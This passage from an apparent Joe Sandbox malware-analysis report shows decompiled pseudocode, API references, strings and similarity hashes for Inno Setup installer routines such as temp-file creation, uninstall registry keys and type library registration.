				char _v13;
				signed int _v20;
				char _v24;
				char _v28;
				void* _t44;
				void* _t61;
				signed int _t64;
				intOrPtr _t78;
				void* _t83;
				void* _t86;

				_t65 = 0;
				_v24 = 0;
				_v28 = 0;
				_v20 = 0;
				_v12 = __edx;
				_v8 = __eax;
				E00403870(_v8);
				_push(_t86);
				_push(0x4523d6);
				_push( *[fs:eax]);
				 *[fs:eax] = _t86 + 0xffffffe8;
				E0042C4C4(_v8,  &_v24);
				E004035DC( &_v8, _v24);
				_t83 = 0x123456;
				_t64 = 0;
				_v13 = 0;
				do {
					_t83 = _t83 + 1;
					if(_t83 > 0x1ffffff) {
						_t83 = 0;
					}
					_t91 = 0x123456 - _t83;
					if(0x123456 == _t83) {
						E0042CBC4(_v8, _t65,  &_v28, _t91);
						E00450B18(0x45,  &_v24, _v28);
						_t65 = _v24;
						E00408CA0(_v24, 1);
						E00403264();
					}
					_push(_v8);
					_push("_iu");
					E0045211C(_t83, _t64,  &_v24, 0x123456, _t83);
					_push(_v24);
					_push(".tmp");
					E0040377C();
					_t44 = E0042CD54(_t91);
					_t92 = _t44;
					if(_t44 == 0) {
						_t64 = 1;
						_v13 = E0042CD40(_t92);
						if(_v13 != 0) {
							_push(0);
							_push(0x80);
							_push(2);
							_push(0);
							_push(0);
							_push(0xc0000000);
							_t61 = E00403880(_v20);
							_push(_t61);
							L00405964();
							_t64 = 0 | _t61 != 0xffffffff;
							if(1 != 0) {
								CloseHandle(_t61);
							}
						}
					}
				} while (_t64 == 0);
				E00403598(_v12, _t64, _v20, 0x123456, _t83);
				_pop(_t78);
				 *[fs:eax] = _t78;
				_push(E004523DD);
				E00403568( &_v28, 3);
				return E00403548( &_v8);
			}

0x004522a5
0x004522a7
0x004522aa
0x004522ad
0x004522b0
0x004522b3
0x004522b9
0x004522c0
0x004522c1
0x004522c6
0x004522c9
0x004522d2
0x004522dd
0x004522e7
0x004522e9
0x004522eb
0x004522ef
0x004522ef
0x004522f6
0x004522f8
0x004522f8
0x004522fa
0x004522fc
0x00452304
0x00452311
0x00452316
0x00452320
0x00452325
0x00452325
0x0045232a
0x0045232d
0x00452337
0x0045233c
0x0045233f
0x0045234c
0x00452354
0x00452359
0x0045235b
0x0045235d
0x00452367
0x0045236e
0x00452370
0x00452372
0x00452377
0x00452379
0x0045237b
0x0045237d
0x00452385
0x0045238a
0x0045238b
0x00452393
0x00452398
0x0045239b
0x0045239b
0x00452398
0x0045236e
0x004523a0
0x004523ae
0x004523b5
0x004523b8
0x004523bb
0x004523c8
0x004523d5

APIs

6C8D5CA0.KERNEL32(00000000,C0000000,00000000,00000000,00000002,00000080,00000000,.tmp,00489BF1,_iu,?,00000000,004523D6), ref: 0045238B
CloseHandle.KERNEL32(00000000,00000000,C0000000,00000000,00000000,00000002,00000080,00000000,.tmp,00489BF1,_iu,?,00000000,004523D6), ref: 0045239B

Strings

.tmp, xrefs: 0045233F
_iu, xrefs: 0045232D

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: CloseHandle
String ID: .tmp$_iu
API String ID: 2962429428-10593223
Opcode ID: df51f71b4a8b0bd7ac59e239d24441b071503c96b211b47315574063d78003d8
Instruction ID: 88c0cc572b97f44d35eecdcba92444d0f4aae10aa7095f3427b1f2e7aa4c4a68
Opcode Fuzzy Hash: df51f71b4a8b0bd7ac59e239d24441b071503c96b211b47315574063d78003d8
Instruction Fuzzy Hash: DB31A771A00209ABCB10EBA5D942B9EBBB5AF05314F60417BF810B72D2D77C6F04965C

Uniqueness

Uniqueness Score: -1.00%

Function 00485EFC Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 92
registryCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E00485EFC(void* __eax, void* __ebx, void* __ecx, intOrPtr __edx, void* __edi, void* __esi, intOrPtr _a4) {
				intOrPtr _v8;
				void* _v12;
				char _v16;
				char _v20;
				char _v24;
				intOrPtr _v28;
				char _v32;
				char* _v36;
				void* _t38;
				intOrPtr _t39;
				void* _t55;
				intOrPtr* _t56;
				intOrPtr _t67;
				intOrPtr _t75;
				void* _t80;
				void* _t82;
				void* _t83;
				intOrPtr _t84;

				_t57 = __ecx;
				_t82 = _t83;
				_t84 = _t83 + 0xffffffe0;
				_v20 = 0;
				_v16 = 0;
				_v8 = __edx;
				_t55 = __eax;
				_push(_t82);
				_push(0x486015);
				_push( *[fs:eax]);
				 *[fs:eax] = _t84;
				E004035DC(_a4, __ecx);
				if(_t55 == 0) {
					L5:
					_pop(_t67);
					 *[fs:eax] = _t67;
					_push(0x48601c);
					return E00403568( &_v20, 2);
				} else {
					E0046EEF4(_t55, _t57,  &_v16);
					_t80 = 2;
					_t56 = 0x48cef8;
					while(1) {
						_v36 = "Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall";
						_v32 = 0xb;
						_v28 = _v16;
						_v24 = 0xb;
						E00407988("%s\\%s_is1", 1,  &_v36,  &_v20);
						_t38 = E00403880(_v20);
						_t39 =  *0x48cb10; // 0x1
						if(E0042DCB4(_t39, _t38,  *_t56,  &_v12, 1, 0) == 0) {
							break;
						}
						_t56 = _t56 + 4;
						_t80 = _t80 - 1;
						if(_t80 != 0) {
							continue;
						} else {
							goto L5;
						}
						goto L6;
					}
					_push(_t82);
					_push(0x485fe9);
					_push( *[fs:eax]);
					 *[fs:eax] = _t84;
					E004035DC( &_v20, "Inno Setup CodeFile: ");
					E004036C4( &_v20, _v8);
					E00403880(_v20);
					E0042DBE4();
					_pop(_t75);
					 *[fs:eax] = _t75;
					_push(0x485ffa);
					return RegCloseKey(_v12);
				}
				L6:
			}

0x00485efc
0x00485efd
0x00485eff
0x00485f07
0x00485f0a
0x00485f0f
0x00485f12
0x00485f19
0x00485f1a
0x00485f1f
0x00485f22
0x00485f29
0x00485f30
0x00485ffa
0x00485ffc
0x00485fff
0x00486002
0x00486014
0x00485f36
0x00485f3b
0x00485f40
0x00485f45
0x00485f4a
0x00485f5b
0x00485f5e
0x00485f65
0x00485f68
0x00485f79
0x00485f81
0x00485f8a
0x00485f96
0x00000000
0x00000000
0x00485ff0
0x00485ff3
0x00485ff4
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00485ff4
0x00485f9a
0x00485f9b
0x00485fa0
0x00485fa3
0x00485fae
0x00485fb9
0x00485fc1
0x00485fcd
0x00485fd4
0x00485fd7
0x00485fda
0x00485fe8
0x00485fe8
0x00000000

APIs

Part of subcall function 0042DCB4: 6C8D6790.ADVAPI32(80000002,System\CurrentControlSet\Control\Windows,004783BF,?,00000001,?,?,004783BF,?,00000001,00000000), ref: 0042DCD0

RegCloseKey.ADVAPI32(?,00485FFA,?,?,00000001,00000000,00000000,00486015), ref: 00485FE3

Strings

Software\Microsoft\Windows\CurrentVersion\Uninstall, xrefs: 00485F56
Inno Setup CodeFile: , xrefs: 00485FA6
%s\%s_is1, xrefs: 00485F74

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: CloseD6790
String ID: %s\%s_is1$Inno Setup CodeFile: $Software\Microsoft\Windows\CurrentVersion\Uninstall
API String ID: 3513276378-1837835967
Opcode ID: 8b25c034a0cfe78157112a762a586655f957c51a2c88e09446e8d8352b0e5f39
Instruction ID: 09a24dc8a6022d5224bb5964ae29029ace2ab20c18b37fce72d54143bfae8cca
Opcode Fuzzy Hash: 8b25c034a0cfe78157112a762a586655f957c51a2c88e09446e8d8352b0e5f39
Instruction Fuzzy Hash: BB319470A046045FDB11EFA9CC51A9EBBF8EB49304F51487BE900E7391D778AD01CB58

Uniqueness

Uniqueness Score: -1.00%

Function 004164D8 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 89
registryCOMMON

Download Yara Rule

C-Code - Quality: 96%

			E004164D8(intOrPtr* __eax, void* __edi, void* __esi, void* __ebp) {
				char _v8;
				char _v12;
				struct _WNDCLASSA _v52;
				char _v116;
				struct _WNDCLASSA _v156;
				intOrPtr _v164;
				signed char _v185;
				void* __ebx;
				struct HINSTANCE__* _t32;
				signed int _t33;
				signed int _t35;
				struct HINSTANCE__* _t36;
				struct HINSTANCE__* _t55;
				intOrPtr* _t62;

				_t76 = __esi;
				_t75 = __edi;
				_t62 = __eax;
				 *((intOrPtr*)( *__eax + 0x5c))();
				if(_v164 == 0 && (_v185 & 0x00000040) != 0) {
					_v12 =  *((intOrPtr*)(__eax + 8));
					_v8 = 0xb;
					E00408DC0(__eax, 0xf02f, 1, __edi, __esi, 0,  &_v12);
					E00403264();
				}
				 *((intOrPtr*)(_t62 + 0xac)) = _v156.lpfnWndProc;
				_t32 =  *0x48d014; // 0x400000
				_t33 = GetClassInfoA(_t32,  &_v116,  &_v52);
				asm("sbb eax, eax");
				_t35 =  ~( ~_t33);
				if(_t35 == 0 || E00413704 != _v52.lpfnWndProc) {
					if(_t35 != 0) {
						_t55 =  *0x48d014; // 0x400000
						UnregisterClassA( &_v116, _t55);
					}
					_v156.lpfnWndProc = E00413704;
					_t36 =  *0x48d014; // 0x400000
					_v156.hInstance = _t36;
					_v156.lpszClassName =  &_v116;
					if(RegisterClassA( &_v156) == 0) {
						E00408D50(_t62, 0xf02c, 1, _t75, _t76);
						E00403264();
					}
				}
				 *0x48c2dc = _t62;
				_t64 =  *_t62;
				 *((intOrPtr*)( *_t62 + 0x60))();
				if( *((intOrPtr*)(_t62 + 0xc0)) == 0) {
					_t64 = 0xf02d;
					E00408D50(_t62, 0xf02d, 1, _t75, _t76);
					E00403264();
				}
				E004075D8( *((intOrPtr*)(_t62 + 0x40)));
				 *((intOrPtr*)(_t62 + 0x40)) = 0;
				E0041844C(_t62);
				return E00415308(_t62, E0041A2B0( *((intOrPtr*)(_t62 + 0x44)), _t62, _t64, _t75, _t76), 0x30, 1);
			}

0x004164d8
0x004164d8
0x004164df
0x004164e7
0x004164ef
0x004164fb
0x00416502
0x00416520
0x00416525
0x00416525
0x0041652e
0x00416541
0x00416547
0x0041654e
0x00416550
0x00416554
0x00416566
0x00416568
0x00416573
0x00416573
0x00416578
0x00416580
0x00416585
0x0041658d
0x0041659e
0x004165ac
0x004165b1
0x004165b1
0x0041659e
0x004165b6
0x004165c0
0x004165c2
0x004165cc
0x004165ce
0x004165da
0x004165df
0x004165df
0x004165e7
0x004165ee
0x004165f3
0x00416617

APIs

GetClassInfoA.USER32 ref: 00416547
UnregisterClassA.USER32 ref: 00416573
RegisterClassA.USER32 ref: 00416596

Strings

@, xrefs: 004164F1

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: Class$InfoRegisterUnregister
String ID: @
API String ID: 3749476976-2766056989
Opcode ID: b67c5cc82690fe361babc8edb18181d8eae429c121283e35cc21930cc69649ae
Instruction ID: 9b7ab25393498a186c60df35d444c5d8236ba3ba9485b5c728226e4dc42ec28e
Opcode Fuzzy Hash: b67c5cc82690fe361babc8edb18181d8eae429c121283e35cc21930cc69649ae
Instruction Fuzzy Hash: 14316B706043418BCB20EFA9C58179A7BE6AF44308F00857EF945DB396DB39D944CB2A

Uniqueness

Uniqueness Score: -1.00%

Function 0048A9E8 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 89
COMMON

Download Yara Rule

C-Code - Quality: 64%

			E0048A9E8(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _v8;
				intOrPtr _v12;
				char _v16;
				char _v20;
				char _v28;
				intOrPtr _t21;
				intOrPtr _t23;
				intOrPtr _t46;
				intOrPtr _t51;
				intOrPtr _t55;
				intOrPtr _t74;
				void* _t81;
				void* _t82;
				intOrPtr _t83;
				void* _t84;

				_t84 = __eflags;
				_t79 = __esi;
				_t78 = __edi;
				_t57 = __ebx;
				_t81 = _t82;
				_t83 = _t82 + 0xffffffe8;
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_v20 = 0;
				_push(_t81);
				_push(0x48ac17);
				_push( *[fs:eax]);
				 *[fs:eax] = _t83;
				_t21 =  *0x48d628; // 0x2162410
				E0042438C(_t21, "Uninstall", __edi);
				_t23 =  *0x48d628; // 0x2162410
				ShowWindow( *(_t23 + 0x20), 5);
				_push(_t81);
				_push(0x48abe3);
				_push( *[fs:eax]);
				 *[fs:eax] = _t83;
				E00473FC0();
				E0042D80C( &_v20);
				E0040733C(_v20);
				E0042D394(0, __ebx,  &_v20, __edi, __esi);
				E00403598(0x4ae320, __ebx, _v20, _t78, __esi);
				E00489610(_t57, _v20, _t78, _t79, _t84);
				_v8 = E0044FDE4(1, 1, 0, 2);
				_push(_t81);
				_push(0x48ab11);
				_push( *[fs:eax]);
				 *[fs:eax] = _t83;
				E0044FF00(_v8,  &_v28);
				E00450078(_v28 - 8);
				E00450050(_v8, 8,  &_v16);
				_t85 = _v16 - 0x67734d49;
				if(_v16 == 0x67734d49) {
					_t46 =  *0x4ae320; // 0x0
					E00450C6C(_t46, _t57, 1, _v12, _t78, _t79, __eflags);
				} else {
					_t51 =  *0x4ae320; // 0x0
					E0042C568(_t51, _t57,  &_v20, 0x48ac44, _t78, _t79, _t85);
					E00403598(0x4ae328, _t57, _v20, _t78, _t79);
					_t55 =  *0x4ae328; // 0x0
					E00450C6C(_t55, _t57, 1, 0, _t78, _t79, _t85);
				}
				_pop(_t74);
				 *[fs:eax] = _t74;
				_push(E0048AB18);
				return E00402CA0(_v8);
			}

0x0048a9e8
0x0048a9e8
0x0048a9e8
0x0048a9e8
0x0048a9e9
0x0048a9eb
0x0048a9ee
0x0048a9ef
0x0048a9f0
0x0048a9f3
0x0048a9f8
0x0048a9f9
0x0048a9fe
0x0048aa01
0x0048aa09
0x0048aa0e
0x0048aa15
0x0048aa1e
0x0048aa25
0x0048aa26
0x0048aa2b
0x0048aa2e
0x0048aa31
0x0048aa39
0x0048aa41
0x0048aa4b
0x0048aa58
0x0048aa5d
0x0048aa7a
0x0048aa7f
0x0048aa80
0x0048aa85
0x0048aa88
0x0048aa91
0x0048aa9f
0x0048aaaf
0x0048aab4
0x0048aabb
0x0048aaf1
0x0048aaf6
0x0048aabd
0x0048aac5
0x0048aaca
0x0048aad7
0x0048aae0
0x0048aae5
0x0048aae5
0x0048aafd
0x0048ab00
0x0048ab03
0x0048ab10

APIs

Part of subcall function 0042438C: SetWindowTextA.USER32(?,00000000), ref: 004243A4

ShowWindow.USER32(?,00000005,00000000,0048AC17,?,?,00000000), ref: 0048AA1E

Part of subcall function 0042D80C: GetSystemDirectoryA.KERNEL32 ref: 0042D81F

Part of subcall function 0040733C: SetCurrentDirectoryA.KERNEL32(00000000,?,0048AA46,00000000,0048ABE3,?,?,00000005,00000000,0048AC17,?,?,00000000), ref: 00407347

Part of subcall function 0042D394: GetModuleFileNameA.KERNEL32(00000000,?,00000104,00000000,0042D41F,?,?,00000000,?,?,0048AA50,00000000,0048ABE3,?,?,00000005), ref: 0042D3C9

Part of subcall function 0044FF00: GetFileSize.KERNEL32(?,00000004,00000000,?,0048AA96,00000000,0048AB11,?,00000001,00000000,00000002,00000000,0048ABE3,?,?,00000005), ref: 0044FF0E
Part of subcall function 0044FF00: GetLastError.KERNEL32(?,00000004,00000000,?,0048AA96,00000000,0048AB11,?,00000001,00000000,00000002,00000000,0048ABE3,?,?,00000005), ref: 0044FF1A

Strings

Uninstall, xrefs: 0048AA04
IMsg, xrefs: 0048AAB4
.msg, xrefs: 0048AAC0

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: DirectoryFileWindow$CurrentErrorLastModuleNameShowSizeSystemText
String ID: .msg$IMsg$Uninstall
API String ID: 2328437465-3145681768
Opcode ID: 50c59b26dbb9911a90d6963744d61b4da2a2a7cc0bee2a413e1b1af889ed0d1b
Instruction ID: 584b95c17cc84f27c3ed830320dbd0fb8aaeb6f21ec15bc102c40b1ff57954fc
Opcode Fuzzy Hash: 50c59b26dbb9911a90d6963744d61b4da2a2a7cc0bee2a413e1b1af889ed0d1b
Instruction Fuzzy Hash: 71319234B00204AFDB00FF6ADC92A5E7775EB49704F90487BF900AB692D678AD14CB59

Uniqueness

Uniqueness Score: -1.00%

Function 0044FBCC Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84
windowCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E0044FBCC(void* __eax, void* __ebx, void* __edx, void* __edi, void* __esi) {
				intOrPtr _v8;
				intOrPtr _v12;
				char _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				void* _v28;
				intOrPtr _t27;
				intOrPtr _t31;
				long _t32;
				char* _t46;
				void* _t53;
				intOrPtr _t60;
				void* _t73;

				_v16 = 0;
				_t53 = __eax;
				_push(_t73);
				_push(0x44fcbe);
				_push( *[fs:eax]);
				 *[fs:eax] = _t73 + 0xffffffe8;
				_t27 =  *((intOrPtr*)(__edx + 8));
				if( *((intOrPtr*)(_t27 + 8)) == 0x70b &&  *((intOrPtr*)(_t27 + 0xc)) == 0x201) {
					_v12 =  *((intOrPtr*)(_t27 + 0x18));
					_v8 =  *((intOrPtr*)(_t27 + 0x1c));
					_t31 = _v12;
					if(_t31 != 0 || _v8 != 0xffffffff) {
						_t32 = _v8 - _t31 + 1;
					} else {
						_t32 = SendMessageA(E004182A8(__eax), 0xe, 0, 0);
					}
					E004039EC( &_v16, _t32);
					_v28 = _v12;
					_v24 = _v8;
					_v20 = E00403880(_v16);
					E004039EC( &_v16, SendMessageA(E004182A8(_t53), 0x44b, 0,  &_v28));
					if(_v16 != 0) {
						_t46 = E00403880(_v16);
						ShellExecuteA(E004182A8(_t53), "open", _t46, 0, 0, 1);
					}
				}
				_pop(_t60);
				 *[fs:eax] = _t60;
				_push(0x44fcc5);
				return E00403548( &_v16);
			}

0x0044fbd7
0x0044fbda
0x0044fbde
0x0044fbdf
0x0044fbe4
0x0044fbe7
0x0044fbea
0x0044fbf6
0x0044fc0c
0x0044fc12
0x0044fc15
0x0044fc1a
0x0044fc3d
0x0044fc22
0x0044fc30
0x0044fc30
0x0044fc43
0x0044fc4b
0x0044fc51
0x0044fc5c
0x0044fc7c
0x0044fc85
0x0044fc90
0x0044fca3
0x0044fca3
0x0044fc85
0x0044fcaa
0x0044fcad
0x0044fcb0
0x0044fcbd

APIs

SendMessageA.USER32 ref: 0044FC30
SendMessageA.USER32 ref: 0044FC72
ShellExecuteA.SHELL32(00000000,open,00000000,00000000,00000000,00000001), ref: 0044FCA3

Strings

open, xrefs: 0044FC96

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: MessageSend$ExecuteShell
String ID: open
API String ID: 2179883421-2758837156
Opcode ID: 8663942d2fe6c78e8e9c1a1681af3218b326b201a91c5666012a1aad4d1f2aec
Instruction ID: f001f1e600aeaa1ffd1e9368b93cc3e88efae04158a7ae8f82051d1731785f76
Opcode Fuzzy Hash: 8663942d2fe6c78e8e9c1a1681af3218b326b201a91c5666012a1aad4d1f2aec
Instruction Fuzzy Hash: AB214470E40208AFDB14EF65CC82B9EB7B8EF44715F10857BB905A72D1D6789A458A48

Uniqueness

Uniqueness Score: -1.00%

Function 0048ADC8 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 83
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E0048ADC8(intOrPtr __eax, void* __ebx, intOrPtr __edx, void* __edi, void* __esi) {
				intOrPtr _v8;
				intOrPtr _v12;
				char _v16;
				char _v20;
				char _v24;
				char _v28;
				char _v32;
				signed int _t39;
				void* _t43;
				char _t52;
				intOrPtr _t62;
				void* _t66;
				signed int _t68;
				void* _t72;

				_v24 = 0;
				_v16 = 0;
				_v20 = 0;
				_v12 = __edx;
				_v8 = __eax;
				_push(_t72);
				_push(0x48aebe);
				_push( *[fs:eax]);
				 *[fs:eax] = _t72 + 0xffffffe4;
				E00403548(_v12);
				E0042C96C(_v8, 0,  &_v16);
				_t66 = 0;
				_t52 = 0;
				do {
					_v32 = _t52;
					_v28 = 0;
					E00407988("isRS-%.3u.tmp", 0,  &_v32,  &_v24);
					E00403708( &_v20, _v24, _v16);
					_t39 = E00403880(_v20);
					_push(_t39);
					L00405A4C();
					_t68 = _t39;
					if(_t68 == 0xffffffff) {
						L5:
						_push(1);
						_push(E00403880(_v20));
						_t43 = E00403880(_v8);
						_push(_t43);
						L00405B7C();
						if(_t43 == 0) {
							_t66 = _t66 + 1;
							if(_t66 == 0xa) {
								break;
							}
							goto L8;
						}
						E004035DC(_v12, _v20);
						break;
					}
					if((_t68 & 0x00000010) != 0) {
						goto L8;
					}
					if((_t68 & 0x00000001) != 0) {
						_push(_t68 & 0xfffffffe);
						_push(E00403880(_v20));
						L00405BDC();
					}
					goto L5;
					L8:
					_t52 = _t52 + 1;
				} while (_t52 != 0x3e8);
				_pop(_t62);
				 *[fs:eax] = _t62;
				_push(E0048AEC5);
				return E00403568( &_v24, 3);
			}

0x0048add3
0x0048add6
0x0048add9
0x0048addc
0x0048addf
0x0048ade4
0x0048ade5
0x0048adea
0x0048aded
0x0048adf3
0x0048adfe
0x0048ae03
0x0048ae05
0x0048ae07
0x0048ae0b
0x0048ae0e
0x0048ae1c
0x0048ae2a
0x0048ae32
0x0048ae37
0x0048ae38
0x0048ae3d
0x0048ae42
0x0048ae66
0x0048ae66
0x0048ae70
0x0048ae74
0x0048ae79
0x0048ae7a
0x0048ae81
0x0048ae90
0x0048ae94
0x00000000
0x00000000
0x00000000
0x0048ae94
0x0048ae89
0x00000000
0x0048ae89
0x0048ae4a
0x00000000
0x00000000
0x0048ae52
0x0048ae57
0x0048ae60
0x0048ae61
0x0048ae61
0x00000000
0x0048ae96
0x0048ae96
0x0048ae97
0x0048aea5
0x0048aea8
0x0048aeab
0x0048aebd

APIs

6CBC78A0.KERNEL32(00000000,0048B721,00000000,0048AEBE,?,?,00000000,0048D628), ref: 0048AE38
6C8D69D0.KERNEL32(00000000,00000000,00000000,0048B721,00000000,0048AEBE,?,?,00000000,0048D628), ref: 0048AE61
6C8D6100.KERNEL32(00000000,00000000,00000001,00000000,0048B721,00000000,0048AEBE,?,?,00000000,0048D628), ref: 0048AE7A

Strings

isRS-%.3u.tmp, xrefs: 0048AE17

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: D6100
String ID: isRS-%.3u.tmp
API String ID: 1646733073-3657609586
Opcode ID: ffd9d71aef5311753b9aa853d672d6d1a56f0c91ee8291c6b414bf17d3b9d56b
Instruction ID: e3fd0e415be7f1d885ee4f710042870f87f921b7d752074c4af07eef08411aa6
Opcode Fuzzy Hash: ffd9d71aef5311753b9aa853d672d6d1a56f0c91ee8291c6b414bf17d3b9d56b
Instruction Fuzzy Hash: 31216471D00209AFDB04FFA9C881AAFBBB9AB44314F50497BF814B32D1D7786E018B59

Uniqueness

Uniqueness Score: -1.00%

Function 00454DEC Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 65
registryCOMMON

Download Yara Rule

C-Code - Quality: 50%

			E00454DEC(void* __eax, void* __ebx, void* __edi, void* __esi) {
				intOrPtr _v8;
				void* _v12;
				void* _v16;
				intOrPtr _t19;
				intOrPtr _t21;
				intOrPtr* _t23;
				intOrPtr _t39;
				void* _t45;
				void* _t46;
				intOrPtr _t47;

				_t43 = __esi;
				_t42 = __edi;
				_t45 = _t46;
				_t47 = _t46 + 0xfffffff4;
				_push(__esi);
				_push(__edi);
				_v16 = 0;
				_t32 = __eax;
				_push(_t45);
				_push(0x454ed4);
				_push( *[fs:eax]);
				 *[fs:eax] = _t47;
				E0042C81C(__eax,  &_v16);
				_v8 = E00403DEC(_v16);
				if(_v8 == 0) {
					E00408C94();
				}
				_push(_t45);
				_push(0x454eb7);
				_push( *[fs:edx]);
				 *[fs:edx] = _t47;
				_push( &_v12);
				_t19 = _v8;
				_push(_t19);
				L0042CC80();
				_t49 = _t19;
				if(_t19 != 0) {
					E00451EEC("LoadTypeLib", _t32, _t19, _t42, _t43, _t49);
				}
				_push(_t45);
				_push(0x454e99);
				_push( *[fs:edx]);
				 *[fs:edx] = _t47;
				_push(0);
				_push(_v8);
				_t21 = _v12;
				_push(_t21);
				L0042CC88();
				_t50 = _t21;
				if(_t21 != 0) {
					E00451EEC("RegisterTypeLib", _t32, _t21, _t42, _t43, _t50);
				}
				_pop(_t39);
				 *[fs:eax] = _t39;
				_t23 = _v12;
				return  *((intOrPtr*)( *_t23 + 8))(_t23, E00454EA0);
			}

0x00454dec
0x00454dec
0x00454ded
0x00454def
0x00454df3
0x00454df4
0x00454df7
0x00454dfa
0x00454dfe
0x00454dff
0x00454e04
0x00454e07
0x00454e0f
0x00454e1c
0x00454e23
0x00454e25
0x00454e25
0x00454e2c
0x00454e2d
0x00454e32
0x00454e35
0x00454e3b
0x00454e3c
0x00454e3f
0x00454e40
0x00454e45
0x00454e47
0x00454e50
0x00454e50
0x00454e57
0x00454e58
0x00454e5d
0x00454e60
0x00454e63
0x00454e68
0x00454e69
0x00454e6c
0x00454e6d
0x00454e72
0x00454e74
0x00454e7d
0x00454e7d
0x00454e84
0x00454e87
0x00454e8f
0x00454e98

APIs

Part of subcall function 0042C81C: GetFullPathNameA.KERNEL32(00000000,00001000,?), ref: 0042C840

Part of subcall function 00403DEC: MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,00000000,?,00000400), ref: 00403E26
Part of subcall function 00403DEC: SysAllocStringLen.OLEAUT32(?,00000000), ref: 00403E31

LoadTypeLib.OLEAUT32(00000000,00000000), ref: 00454E40
RegisterTypeLib.OLEAUT32(00000000,00000000,00000000), ref: 00454E6D

Strings

RegisterTypeLib, xrefs: 00454E78
LoadTypeLib, xrefs: 00454E4B

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: Type$AllocByteCharFullLoadMultiNamePathRegisterStringWide
String ID: LoadTypeLib$RegisterTypeLib
API String ID: 1312246647-2435364021
